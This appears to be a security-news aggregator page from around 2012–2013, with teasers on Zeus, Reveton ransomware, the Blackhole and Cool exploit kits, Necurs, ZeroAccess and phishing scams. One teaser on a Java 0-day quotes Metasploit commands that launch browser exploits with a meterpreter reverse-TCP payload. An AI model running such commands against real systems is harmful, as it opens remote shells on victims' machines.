Zeus banking Trojan targeting five major banks in Japan

Zeus continues to strike online bank accounts and users, and technology designed to thwart these Trojan attacks continually fails to keep up. Symantec recently came across a new Zeus file targeting five major banks in Japan. The malware, which has caused serious problems to banking customers in...

Group behind largest Ransomware campaign arrested by Spanish police

Police in Spain have arrested a gang of 11 cyber criminals who used ransomware to demand money from thousands of victims in 30 countries using malware known as Reveton. Police arrested six Russians, two Ukrainians and two Georgians in the Costa del Sol. The gang leader, a 27-year-old Russian, was...

Zeus banking Trojan targeting five major banks in Japan

Zeus continues to strike online bank accounts and users, and technology designed to thwart these Trojan attacks continually fails to keep up. Symantec recently came across a new Zeus file targeting five major banks in Japan. The malware, which has caused serious problems to banking customers in...

Group behind largest Ransomware campaign arrested by Spanish police

Police in Spain have arrested a gang of 11 cyber criminals who used ransomware to demand money from thousands of victims in 30 countries using malware known as Reveton. Police arrested six Russians, two Ukrainians and two Georgians in the Costa del Sol. The gang leader, a 27-year-old Russian, was...

ADP-Themed Phishing Emails Lead to Blackhole Sites

Scammers are spamming out malicious emails purporting to come from payroll processing company ADP, according Dancho Danchev of Webroot. The emails arrive under the subject line “ADP Immediate Notifications” and contain links to compromised websites hosting the latest iteration of the Blackhole...

The New Year initial, Java break first 0day-vulnerability warning-the black bar safety net

1 1: The 0 0 UPDATE: MSF has been updated related to penetration testing module use exploit/windows/browser/iecbuttonuaf use exploit/multi/browser/javajre17jmxbean set SRVHOST 192.168.178.26 set TARGET 1 set PAYLOAD windows/meterpreter/reversetcp set LHOST 192.168.178.26 exploit sysinfo getuid Mo...

New Apache Exploit Doling Out Zeus, Sweet Orange Exploit Kit

UPDATE – A new Apache module, Linux/Chapro.A, is making the rounds, injecting malicious content including a popular Zeus variant into web pages. The module was discussed in a blog on ESET’s Threat Blog by the company’s Security intelligence Program Manager, Pierre-Marc Bureau. According to the...

Sweet Orange Exploit Kit Offers Customers Higher Infection Rates

The newly emerging Sweet Orange Exploit Kit boasts a 10 to 25 percent infection rate and is promising to drive 150,000 unique visitors per day to the websites of its customers, according to Jeff Doty and Chris Larsen of Blue Coat Security. If the claims of Sweet Orange’s authors reflect reality, ...

Necurs Rootkit infect 83,427 machines in November

Rootkit named as "Necurs" infect 83,427 unique machines during the month of November 2012. It is a multi-purpose rootkits capable of posing a threat to both 32 and 64-bit Windows systems. Distributed via drive-by download on the websites that host the BlackHole exploit kit. Like other rootkits it...

Necurs Rootkit Infections Way Up

Infections from a nasty bit of malware, generally delivered by the Black Hole Exploit Kit, surged in November, hitting more than 83,000 machines. Microsoft’s Malware Protection Center rates the Necurs rootkit threat as severe. Dubbed a rootkit by Kaspersky Lab, Necurs has many dimensions to it...

Chrome Playing Hard to Get with Blackhole Exploit Kit

Google’s Chrome browser is something of a tough customer for the infamous and widely deployed Blackhole Exploit Kit, according to Blue Coat security researcher, Adnan Shukor. Shukor notes there has been an uptick in the kit’s use of plain HTML files, instead of iframes, to redirect users to explo...

Phony T-Mobile, Vodaphone Notifications Duping U.K. Users

Cybercriminals in the United Kingdom this week have launched two separate but similar scams intent on gaining access to users’ computers. Both scams impersonate e-mail notifications from popular British cell phone companies and both ultimately open a backdoor on the targeted computers. E-mail...

Go Daddy Attributes DNS Hack to Phishing

A spokesman at Go Daddy, the popular domain registrar and Web host company, believes that some of its users may have been phished – and that’s to blame for the barrage of ransomware some customers have been seeing in past week or so. Last week it was reported that attackers had placed malicious D...

Fake Facebook Alert Emails Link to Black Hole Sites

Attackers are sending spoofed “pending notification” emails to Facebook users, claiming that the recipients overlooked some alert on the world’s largest social network, and providing them with a link that supposedly leads to the allegedly neglected content but which, in reality, funnels users to ...

Go Daddy Sites Serve Up Ransomware Malware

Domain name registrar and website hosting provider Go Daddy is responding to a DNS attack targeting a "small number" of its hosted websites that one security firm said is enabling cyber criminals to spread ransomware. The DNS Domain Name System is what transfers host-names into IP addresses,...

New Java Attack Introduced into Cool Exploit Kit

A new exploit has been found in the Cool Exploit Kit for a vulnerability in Java 7 Update 7 as well as older versions, a flaw that’s been patched by Oracle in Java 7 Update 9. Cool Exploit Kit was discovered last month and is largely responsible for dropping the Reveton ransomware. A new Metasplo...

Adobe Reader zero-day vulnerability with modified Blackhole Exploit-Kit

Group-IB, a Russian cybercrime investigation company has discovered a zero-day vulnerability, affects Adobe Reader X and Adobe Reader XI. The vulnerability is also included in new modified version of Blackhole Exploit-Kit, which is used for the distributing the banking Trojans Zeus, Spyeye,...

ZeroAccess Botnet Cashing in on Click Fraud and Bitcoin Mining

A mid-year switch in communication protocol and distribution strategy is behind a spike in activity from the ZeroAccess botnet, a prolific and malicious ad click fraud network. Researchers at Kindsight Security Lab reported today that ZeroAccess accounts for 29 percent of home network infections ...

Fake Payroll Confirmation Email Leads to Black Hole Exploit Kit

Criminal hackers launched an attack campaign earlier this week in which they sent a slew of emails purporting to come from the financial software developer Intuit. The emails contained links that led to sites hosting the Blackhole exploit kit in an apparent attempt to infect the machines of...

Apple update removes Java plugin from OS X browsers

Apple has discontinued its own Java plugin, issuing an 'update' that removes it from MacOS and encourages users to instead download Oracle's version of the software. Its another step by Apple towards making OS X safer on the web. Mac users may have noticed that Java-based websites are displaying ...